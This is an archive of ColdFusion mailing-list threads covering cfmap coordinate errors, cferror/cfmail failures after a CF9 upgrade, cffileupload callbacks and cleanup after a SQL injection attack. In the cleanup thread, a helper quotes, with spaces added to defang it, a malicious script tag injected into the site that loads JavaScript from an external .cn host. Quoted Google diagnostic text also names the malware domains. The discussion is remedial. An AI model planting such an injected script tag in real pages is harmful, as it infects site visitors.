that's what I thought too! but I verified the lat/lon. for example 1531 EAST LINCOLN AVENUE ANAHEIM CA 92805 lat = 33.84019 and lon = -117.896354. that seems to be correct. can this be a bug?? i use John Blayter's cf_googlemap and it works fine. -Original Message- From: Paul Hastings [mailto:p...@sustainablegis.com] Sent: Monday, February 01, 2010 8:11 PM To: cf-talk Subject: Re: cfmapitem On 2/2/2010 6:46 AM, Tim Do wrote: The value of the CENTERLONGITUDE attribute is invalid. The value specified, -117.8529534, must be greater than -90.0. sure you didn't swap latitude (y) longitude (x)? latitudes range from +90 (N) to -90 (S) degrees. google maps functions usually want lat,long (that is y,x). to this day, that always trips me up. ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:330340 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: cfmapitem
sorry, am I missing something? the error says The value of the CENTERLONGITUDE attribute is invalid. The value specified, -117.8529534, must be greater than -90.0. if the lon is correct at -117.896354, that is less than -90... but the error expects its to be greater?? -Original Message- From: Paul Hastings [mailto:p...@sustainablegis.com] Sent: Tuesday, February 02, 2010 10:41 AM To: cf-talk Subject: Re: cfmapitem On 2/3/2010 12:29 AM, Tim Do wrote: that's what I thought too! but I verified the lat/lon. for example 1531 EAST LINCOLN AVENUE ANAHEIM CA 92805 lat = 33.84019 and lon = -117.896354. yes that's the correct geocoding but you're sure your code isn't swapping the values? the must be greater than -90.0 error message indicates that... ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:330359 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: cfmapitem
hm I just tried cfmap centerlongitude=-117.8529534 centerlatitude=45 / and I get: Attribute validation error for CFMAP. The value of the CENTERLONGITUDE attribute is invalid. The value specified, -117.8529534, must be greater than -90.0. what gives?? -Original Message- From: Raymond Camden [mailto:rcam...@gmail.com] Sent: Tuesday, February 02, 2010 11:53 AM To: cf-talk Subject: Re: cfmapitem I just tried this: cfmap centerlongitude=-117.8529534 centerlatitude=45 / and it worked fine. On Tue, Feb 2, 2010 at 1:48 PM, Tim Do t...@wng.com wrote: sorry, am I missing something? the error says The value of the CENTERLONGITUDE attribute is invalid. The value specified, -117.8529534, must be greater than -90.0. if the lon is correct at -117.896354, that is less than -90... but the error expects its to be greater?? -Original Message- From: Paul Hastings [mailto:p...@sustainablegis.com] Sent: Tuesday, February 02, 2010 10:41 AM To: cf-talk Subject: Re: cfmapitem On 2/3/2010 12:29 AM, Tim Do wrote: that's what I thought too! but I verified the lat/lon. for example 1531 EAST LINCOLN AVENUE ANAHEIM CA 92805 lat = 33.84019 and lon = -117.896354. yes that's the correct geocoding but you're sure your code isn't swapping the values? the must be greater than -90.0 error message indicates that... ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:330372 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
cfmapitem
I'm looping through a query with addresses, some good some not so good. When I try to to map all the points, the bad addresses prompt that it can't be mapped. I'm using addresses instead of lat/lons so I can't really check to see if they're valid. I'm trying not to geocode all the records and maintain it. How do I have the bad address prompt not show?? Thanks! Tim ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:330315 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: cfmapitem
ah, you're right! thanks! so I went and geocoded all the records, now I'm seeing this message often... The value of the CENTERLONGITUDE attribute is invalid. The value specified, -117.8529534, must be greater than -90.0. did the geocoder do it incorrectly?? -Original Message- From: Raymond Camden [mailto:rcam...@gmail.com] Sent: Monday, February 01, 2010 1:03 PM To: cf-talk Subject: Re: cfmapitem Are you sure it is bad addresses? If you use too many, Google will block you for trying to geolocate too much. See this blog entry: http://www.coldfusionjedi.com/index.cfm/2009/12/15/Having-trouble-with-too-many-map-markers-and-CFMAP On Mon, Feb 1, 2010 at 2:59 PM, Tim Do t...@wng.com wrote: I'm looping through a query with addresses, some good some not so good. When I try to to map all the points, the bad addresses prompt that it can't be mapped. I'm using addresses instead of lat/lons so I can't really check to see if they're valid. I'm trying not to geocode all the records and maintain it. How do I have the bad address prompt not show?? Thanks! Tim ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:330319 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
cferror / cfmail issue
We just upgraded to cf9 and my error handling is no longer working the way it used to. In my application.cfm I have: cferror type=request template=errorPage.cfm mailto=webmas...@wng.com and within errorPage.cfm I have: cfmail to=webmas...@wng.com from=webmas...@wng.com subject=InSite Error Log type=HTML server=#Variables.sEmailServer# Error:br cfdump var=#error# label=Error message Session:br cfdump var=#session# label=Session scopebr Client:br cfdump var=#client# label=Client scopebr Application:br cfdump var=#application# label=Application scopebr Request:br cfdump var=#request# label=Request scopebr Form:br cfdump var=#form# label=Form scopebr Url:br cfdump var=#url# label=URL scopebr Cookie:br cfdump var=#cookie# label=Cookie scopebr /cfmail The page error shows up fine with my error notice, BUT the cfmail section it just displays : Error: Session: Client: Application: Request: Form: Url: Cookie: Without the variables, and the email does not go out. Why would it display the code inside of the cfmail tags instead of sending?? All other cfmail tags work fine throughout the site. Thanks! ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:330229 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: cferror / cfmail issue
went from 7 to 9. I have both request and exception but still doesn't work. just looking through my logs again... I haven't received an error email in a few days so not sure it's related to the upgrade. I can't say my code is that solid, usually get a couple a day, so most likely this has not sent in a few days. any other ideas?? I tried wrapping the error info into cfsavecontent and still shows the error info and doesn't send. -Original Message- From: Qing Xia [mailto:txiasum...@gmail.com] Sent: Thursday, January 28, 2010 11:53 AM To: cf-talk Subject: Re: cferror / cfmail issue What CF version were you on before this recent upgrade to CF9? Try changing the TYPE attribute in the CFError tag to type=exception, and see what happens. On Thu, Jan 28, 2010 at 2:41 PM, Tim Do t...@wng.com wrote: We just upgraded to cf9 and my error handling is no longer working the way it used to. In my application.cfm I have: cferror type=request template=errorPage.cfm mailto=webmas...@wng.com and within errorPage.cfm I have: cfmail to=webmas...@wng.com from=webmas...@wng.com subject=InSite Error Log type=HTML server=#Variables.sEmailServer# Error:br cfdump var=#error# label=Error message Session:br cfdump var=#session# label=Session scopebr Client:br cfdump var=#client# label=Client scopebr Application:br cfdump var=#application# label=Application scopebr Request:br cfdump var=#request# label=Request scopebr Form:br cfdump var=#form# label=Form scopebr Url:br cfdump var=#url# label=URL scopebr Cookie:br cfdump var=#cookie# label=Cookie scopebr /cfmail The page error shows up fine with my error notice, BUT the cfmail section it just displays : Error: Session: Client: Application: Request: Form: Url: Cookie: Without the variables, and the email does not go out. Why would it display the code inside of the cfmail tags instead of sending?? All other cfmail tags work fine throughout the site. Thanks! ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:330236 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: cferror / cfmail issue
so I put back both cferror tags one for request and one for exception. I forced a db error and I see the dump from the sendError page, but when I wrap a cfmail around it, I get nothing but the text from the errorPage. -Original Message- From: Qing Xia [mailto:txiasum...@gmail.com] Sent: Thursday, January 28, 2010 12:21 PM To: cf-talk Subject: Re: cferror / cfmail issue When type=request, the error template is not supposed to contain any CFML tags, and you may only refer to a handful of special variables in the error scope. When you said you have both and request and exception values... did you mean you have two CFError tags in application.cfm, one with type=request and the other with type=exception? Maybe the type=exception template itself contained an error and never got to the mail generation part. To be sure, in your development environment: 1. Purposefully put in some wacky code to generate errors 2. For now, comment out the cferror type=request... 3. Try cfdump and cfabort in the type=exception error template, from top down, until you get to the CFMail tag. On Thu, Jan 28, 2010 at 2:56 PM, Tim Do t...@wng.com wrote: went from 7 to 9. I have both request and exception but still doesn't work. just looking through my logs again... I haven't received an error email in a few days so not sure it's related to the upgrade. I can't say my code is that solid, usually get a couple a day, so most likely this has not sent in a few days. any other ideas?? I tried wrapping the error info into cfsavecontent and still shows the error info and doesn't send. -Original Message- From: Qing Xia [mailto:txiasum...@gmail.com] Sent: Thursday, January 28, 2010 11:53 AM To: cf-talk Subject: Re: cferror / cfmail issue What CF version were you on before this recent upgrade to CF9? Try changing the TYPE attribute in the CFError tag to type=exception, and see what happens. On Thu, Jan 28, 2010 at 2:41 PM, Tim Do t...@wng.com wrote: We just upgraded to cf9 and my error handling is no longer working the way it used to. In my application.cfm I have: cferror type=request template=errorPage.cfm mailto=webmas...@wng.com and within errorPage.cfm I have: cfmail to=webmas...@wng.com from=webmas...@wng.com subject=InSite Error Log type=HTML server=#Variables.sEmailServer# Error:br cfdump var=#error# label=Error message Session:br cfdump var=#session# label=Session scopebr Client:br cfdump var=#client# label=Client scopebr Application:br cfdump var=#application# label=Application scopebr Request:br cfdump var=#request# label=Request scopebr Form:br cfdump var=#form# label=Form scopebr Url:br cfdump var=#url# label=URL scopebr Cookie:br cfdump var=#cookie# label=Cookie scopebr /cfmail The page error shows up fine with my error notice, BUT the cfmail section it just displays : Error: Session: Client: Application: Request: Form: Url: Cookie: Without the variables, and the email does not go out. Why would it display the code inside of the cfmail tags instead of sending?? All other cfmail tags work fine throughout the site. Thanks! ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:330240 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: cferror / cfmail issue
so I put back both cferror tags one for request and one for exception. I forced a db error and I see the dump from the sendError page, but when I wrap a cfmail around it, I get nothing but the text from the errorPage. -Original Message- From: Qing Xia [mailto:txiasum...@gmail.com] Sent: Thursday, January 28, 2010 12:21 PM To: cf-talk Subject: Re: cferror / cfmail issue When type=request, the error template is not supposed to contain any CFML tags, and you may only refer to a handful of special variables in the error scope. When you said you have both and request and exception values... did you mean you have two CFError tags in application.cfm, one with type=request and the other with type=exception? Maybe the type=exception template itself contained an error and never got to the mail generation part. To be sure, in your development environment: 1. Purposefully put in some wacky code to generate errors 2. For now, comment out the cferror type=request... 3. Try cfdump and cfabort in the type=exception error template, from top down, until you get to the CFMail tag. On Thu, Jan 28, 2010 at 2:56 PM, Tim Do t...@wng.com wrote: went from 7 to 9. I have both request and exception but still doesn't work. just looking through my logs again... I haven't received an error email in a few days so not sure it's related to the upgrade. I can't say my code is that solid, usually get a couple a day, so most likely this has not sent in a few days. any other ideas?? I tried wrapping the error info into cfsavecontent and still shows the error info and doesn't send. -Original Message- From: Qing Xia [mailto:txiasum...@gmail.com] Sent: Thursday, January 28, 2010 11:53 AM To: cf-talk Subject: Re: cferror / cfmail issue What CF version were you on before this recent upgrade to CF9? Try changing the TYPE attribute in the CFError tag to type=exception, and see what happens. On Thu, Jan 28, 2010 at 2:41 PM, Tim Do t...@wng.com wrote: We just upgraded to cf9 and my error handling is no longer working the way it used to. In my application.cfm I have: cferror type=request template=errorPage.cfm mailto=webmas...@wng.com and within errorPage.cfm I have: cfmail to=webmas...@wng.com from=webmas...@wng.com subject=InSite Error Log type=HTML server=#Variables.sEmailServer# Error:br cfdump var=#error# label=Error message Session:br cfdump var=#session# label=Session scopebr Client:br cfdump var=#client# label=Client scopebr Application:br cfdump var=#application# label=Application scopebr Request:br cfdump var=#request# label=Request scopebr Form:br cfdump var=#form# label=Form scopebr Url:br cfdump var=#url# label=URL scopebr Cookie:br cfdump var=#cookie# label=Cookie scopebr /cfmail The page error shows up fine with my error notice, BUT the cfmail section it just displays : Error: Session: Client: Application: Request: Form: Url: Cookie: Without the variables, and the email does not go out. Why would it display the code inside of the cfmail tags instead of sending?? All other cfmail tags work fine throughout the site. Thanks! ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:330241 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: cferror / cfmail issue
so I put back both cferror tags one for request and one for exception. I forced a db error and I see the dump from the sendError page, but when I wrap a cfmail around it, I get nothing but the text from the errorPage. -Original Message- From: Qing Xia [mailto:txiasum...@gmail.com] Sent: Thursday, January 28, 2010 12:21 PM To: cf-talk Subject: Re: cferror / cfmail issue When type=request, the error template is not supposed to contain any CFML tags, and you may only refer to a handful of special variables in the error scope. When you said you have both and request and exception values... did you mean you have two CFError tags in application.cfm, one with type=request and the other with type=exception? Maybe the type=exception template itself contained an error and never got to the mail generation part. To be sure, in your development environment: 1. Purposefully put in some wacky code to generate errors 2. For now, comment out the cferror type=request... 3. Try cfdump and cfabort in the type=exception error template, from top down, until you get to the CFMail tag. ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:330242 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: cferror / cfmail issue
thx, I'm not sure what is going on.. it started to work again after I reverted back to the original files before I started messing with it. WEIRD! Thanks guys! -Original Message- From: Mike Chabot [mailto:mcha...@gmail.com] Sent: Thursday, January 28, 2010 1:34 PM To: cf-talk Subject: Re: cferror / cfmail issue Since you say that the E-mail does not get sent I would assume you have an error in your error handler. Try simplifying the error E-mail to send hello world to see if that works. If that works, build up the code incrementally until it breaks. Check all your log files to get hints on what the secondary error is. The suggestions made by Qing Xia seem good. -Mike Chabot On Thu, Jan 28, 2010 at 2:41 PM, Tim Do t...@wng.com wrote: We just upgraded to cf9 and my error handling is no longer working the way it used to. In my application.cfm I have: cferror type=request template=errorPage.cfm mailto=webmas...@wng.com and within errorPage.cfm I have: cfmail to=webmas...@wng.com from=webmas...@wng.com subject=InSite Error Log type=HTML server=#Variables.sEmailServer# Error:br cfdump var=#error# label=Error message Session:br cfdump var=#session# label=Session scopebr Client:br cfdump var=#client# label=Client scopebr Application:br cfdump var=#application# label=Application scopebr Request:br cfdump var=#request# label=Request scopebr Form:br cfdump var=#form# label=Form scopebr Url:br cfdump var=#url# label=URL scopebr Cookie:br cfdump var=#cookie# label=Cookie scopebr /cfmail The page error shows up fine with my error notice, BUT the cfmail section it just displays : Error: Session: Client: Application: Request: Form: Url: Cookie: Without the variables, and the email does not go out. Why would it display the code inside of the cfmail tags instead of sending?? All other cfmail tags work fine throughout the site. Thanks! ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:330247 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: cffileupload onUploadComplete not working
Thanks Ray! -Original Message- From: Raymond Camden [mailto:rcam...@gmail.com] Sent: Tuesday, December 22, 2009 11:48 AM To: cf-talk Subject: Re: cffileupload onUploadComplete not working You don't pass functionname(), but just the name. Change your oncomplete to oncomplete=uploadCompleteHandler Now this means you can't pass in the CF variable. Just use within your js. It will be static on the client side though. On Tue, Dec 22, 2009 at 12:52 PM, Tim Do t...@wng.com wrote: I'm trying to do a multiple file upload using cffileupload. The upload is working fine but I'd like to relocate the user after all files have been uploaded. I added: onComplete=uploadCompleteHandler('#batchUploadName#') But the user is being redirected on the page load and not after the user has selected files clicked upload. function uploadCompleteHandler(batchName){ //window.location = index.cfm?action=batchIndexbatchName=+batchName alert('asdf'); Ideas?? Thanks! ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:329338 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
cffileupload onUploadComplete not working
I'm trying to do a multiple file upload using cffileupload. The upload is working fine but I'd like to relocate the user after all files have been uploaded. I added: onComplete=uploadCompleteHandler('#batchUploadName#') But the user is being redirected on the page load and not after the user has selected files clicked upload. function uploadCompleteHandler(batchName){ //window.location = index.cfm?action=batchIndexbatchName=+batchName alert('asdf'); Ideas?? Thanks! ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:329323 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
cf9 packaging deployment
I just upgraded to 9 from 8 and I can't see the packaging deployment feature in cfadmin? Where can I find it? thx ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:328989 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: cf9 packaging deployment
nevermind, I'm on standard... NOTE: This requires either an Enterprise or Developer Edition installation. If you have installed the Standard Edition, you can revert to the Developer Edition by removing the serial number. -Original Message- From: Tim Do [mailto:t...@wng.com] Sent: Tuesday, December 08, 2009 3:45 PM To: cf-talk Subject: cf9 packaging deployment I just upgraded to 9 from 8 and I can't see the packaging deployment feature in cfadmin? Where can I find it? thx ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:328991 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: attack site / sql injections HELP!
Thanks Brad! I ran a string search through the entire database and was able to find a couple records that still had scripts in them. Hopefully I got all of them... I searched for script, .js etc... just requested another review, keeping fingers crossed. Thanks! -Original Message- From: Brad Wood [mailto:[EMAIL PROTECTED] Sent: Thursday, October 09, 2008 6:57 PM To: cf-talk Subject: Re: attack site / sql injections HELP! Tim, I have confirmed you do in fact still have at least one page on your site with malicious content. I just created a simple script which hit every page Google has for your site and breifly analyzed the source. I googled for site:connhisto.org I then copied and pasted the 24 links into a list and ran this code: cfoutput cfset sites = http://www.connhisto.org/~http://www.connhisto.org/index.cfm?p=10~http: //www.connhisto.org/index.cfm?p=3pid=4231~http://www.connhisto.org/inde x.cfm?p=3pid=4233~http://www.connhisto.org/index.cfm?p=3pid=4221~http: //www.connhisto.org/index.cfm?p=3pid=4234~http://www.connhisto.org/inde x.cfm?p=3pid=4224~http://www.connhisto.org/index.cfm?p=10documentid=63 09q=1~http://www.connhisto.org/index.cfm?p=10documentid=6321q=1~http: //www.connhisto.org/index.cfm?p=4pid=4221spid=4222~http://www.connhist o.org/index.cfm?p=4pid=4220spid=4259~http://www.connhisto.org/index.cf m?p=11~http://www.connhisto.org/index.cfm?p=7~http://www.connhisto.org/i ndex.cfm?p=4pid=4224spid=4228~http://www.connhisto.org/index.cfm?p=3p id=4220~http://www.connhisto.org/index.cfm?p=4pid=4224spid=4226~http:/ /www.connhisto.org/index.cfm?p=10documentid=6291q=1~http://www.connhis to.org/index.cfm?p=4pid=4224spid=4229~http://www.connhisto.org/index.c fm?p=4pid=4221spid=4223~http://www.connhisto.org/index.cfm?p=4pid=422 4spid=4230~http://www.connhisto.org/index.cfm?p=10documentid=6318q=1~ http://www.connhisto.org/index.cfm?p=4pid=4224spid=4225~http://www.con nhisto.org/index.cfm?p=10documentid=6316q=1~http://www.connhisto.org/i ndex.cfm?p=4pid=4220spid=4261 cfloop list=#sites# index=site delimiters=~ cfhttp url=#site#/cfhttp #site# (#cfhttp.statuscode#)br cfif cfhttp.filecontent contains .js or cfhttp.filecontent contains .htm span style=color:redBad!/spanbr cfelse span style=color:greenGood!/spanbr /cfifbr /cfloop /cfoutput This code is way too generic and wouldn't work on most sites, but since you don't seem to have ANY .js files or .htm links, it was relativley easy to find your bad apple. THIS PAGE (don't click! Spaces added to prevent auto-linking): http:// www. connhisto. org/ index.cfm? p=3 pid=4220 has this script (don't click! Spaces added to prevent auto-linking): : script src=http:/ /sdo. 1000mg. cn/ csrss/ w.js/script!-- Immediatley following this text: If you have a job opening you would like to list on our site, please e-mail Amos You should clean that page or the database table that populates it. ~Brad ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;207172674;29440083;f Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:313731 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: attack site / sql injections HELP!
I'm no security expert, but from what I understood all the inline queries and input variables not being sanitized caused the sql injections. that has been cleaned up. what else can it be? -Original Message- From: Tom Chiverton [mailto:[EMAIL PROTECTED] Sent: Thursday, October 09, 2008 8:23 AM To: cf-talk Subject: Re: attack site / sql injections HELP! On Thursday 09 Oct , Tim Do wrote: I already did that, submitted and it took couple days but they found more suspicous content!? how is that possible?? You mean they found more, that isn't there anymore, or your site still has a security hole ? -- Tom Chiverton Helping to challengingly restore revolutionary 24/365 total internet initiatives This email is sent for and on behalf of Halliwells LLP. Halliwells LLP is a limited liability partnership registered in England and Wales under registered number OC307980 whose registered office address is at Halliwells LLP, 3 Hardman Square, Spinningfields, Manchester, M3 3EB. A list of members is available for inspection at the registered office. Any reference to a partner in relation to Halliwells LLP means a member of Halliwells LLP. Regulated by The Solicitors Regulation Authority. CONFIDENTIALITY This email is intended only for the use of the addressee named above and may be confidential or legally privileged. If you are not the addressee you must not read it and must not use any information contained in nor copy it nor inform any person other than Halliwells LLP or the addressee of its existence or contents. If you have received this email in error please delete it and notify Halliwells LLP IT Department on 0870 365 2500. For more information about Halliwells LLP visit www.halliwells.com. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;207172674;29440083;f Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:313683 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
attack site / sql injections HELP!
still dealing w/ the friggin sql injections, I've cleansed all the inline queries and added all the queryparams in. I also left in the code in application.cfm for safe measure. the problem that I'm having now is the google safe browsing. from what I understand its on firefox3, the Tell me if the site I'm visiting is a suspected attack site option will not let users view the site w/o a warning unless they change their settings. I wish I can say just turn it off but I can't. can somebody tell me how and where to clear this w/ google safe browsing? ever since I updated to code and added to application.cfm we they haven't been injected. but when check I get with google (even after requesting a review from them): Of the 5 pages we tested on the site over the past 90 days, 2 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 10/04/2008, and the last time suspicious content was found on this site was on 10/03/2008. Malicious software includes 10 scripting exploit(s), 1 exploit(s). Successful infection resulted in an average of 1 new processes on the target machine. Malicious software is hosted on 4 domain(s), including douhunqn.cn, verynx.cn, plgou.com. 2 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including jjmaoduo2.3322.org, douhunqn.cn. thanks, tim ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;207172674;29440083;f Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:313638 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: attack site / sql injections HELP!
yes, I already cleaned out the tables. double checked to see and it's clean. -Original Message- From: Dave Watts [mailto:[EMAIL PROTECTED] Sent: Wednesday, October 08, 2008 4:37 PM To: cf-talk Subject: Re: attack site / sql injections HELP! still dealing w/ the friggin sql injections, I've cleansed all the inline queries and added all the queryparams in. I also left in the code in application.cfm for safe measure. the problem that I'm having now is the google safe browsing. from what I understand its on firefox3, the Tell me if the site I'm visiting is a suspected attack site option will not let users view the site w/o a warning unless they change their settings. I wish I can say just turn it off but I can't. can somebody tell me how and where to clear this w/ google safe browsing? ever since I updated to code and added to application.cfm we they haven't been injected. but when check I get with google (even after requesting a review from them): You must remove or sanitize the already-injected data in your database. Dave Watts, CTO, Fig Leaf Software http://www.figleaf.com/ Fig Leaf Software provides the highest caliber vendor-authorized instruction at our training centers in Washington DC, Atlanta, Chicago, Baltimore, Northern Virginia, or on-site at your location. Visit http://training.figleaf.com/ for more information! ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;207172674;29440083;f Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:313642 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: attack site / sql injections HELP!
I already did that, submitted and it took couple days but they found more suspicous content!? how is that possible?? -Original Message- From: RobG [mailto:[EMAIL PROTECTED] Sent: Wednesday, October 08, 2008 4:40 PM To: cf-talk Subject: Re: attack site / sql injections HELP! Once you do all that, there's a link you can go to from the attack site notiifcation in FF3 that lets you submit the site back to Google for review. Once they review, they will hopefully remove it. Rob On Wed, Oct 8, 2008 at 4:37 PM, Dave Watts [EMAIL PROTECTED] wrote: still dealing w/ the friggin sql injections, I've cleansed all the inline queries and added all the queryparams in. I also left in the code in application.cfm for safe measure. the problem that I'm having now is the google safe browsing. from what I understand its on firefox3, the Tell me if the site I'm visiting is a suspected attack site option will not let users view the site w/o a warning unless they change their settings. I wish I can say just turn it off but I can't. can somebody tell me how and where to clear this w/ google safe browsing? ever since I updated to code and added to application.cfm we they haven't been injected. but when check I get with google (even after requesting a review from them): You must remove or sanitize the already-injected data in your database. Dave Watts, CTO, Fig Leaf Software http://www.figleaf.com/ Fig Leaf Software provides the highest caliber vendor-authorized instruction at our training centers in Washington DC, Atlanta, Chicago, Baltimore, Northern Virginia, or on-site at your location. Visit http://training.figleaf.com/ for more information! ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;207172674;29440083;f Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:313646 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: attack site / sql injections HELP!
http://www.google.com/safebrowsing/diagnostic?site=http://www.connhisto.org/hl=en -Original Message- From: Dave Watts [mailto:[EMAIL PROTECTED] Sent: Wed 10/8/2008 4:48 PM To: cf-talk Subject: Re: attack site / sql injections HELP! yes, I already cleaned out the tables. double checked to see and it's clean. Can you post one of the URLs which Google is complaining about? Or send it to me off-list? Dave Watts, CTO, Fig Leaf Software http://www.figleaf.com/ Fig Leaf Software provides the highest caliber vendor-authorized instruction at our training centers in Washington DC, Atlanta, Chicago, Baltimore, Northern Virginia, or on-site at your location. Visit http://training.figleaf.com/ for more information! ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;207172674;29440083;f Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:313657 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
dynamic formfield
I'm having a problem with a dynamic form field that I'm building. input type = text name = nm_#myvar# myvar is something that can be up to 16 digits. When the form is submitted it looks something like : nm_1.54585221559E+015. I need it to show something like: nm_1458522155945998 What can be causing this?? Any ideas would be much appreciated. Thanks! ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;207172674;29440083;f Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:313307 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: HELP! SQL Injection Attack!
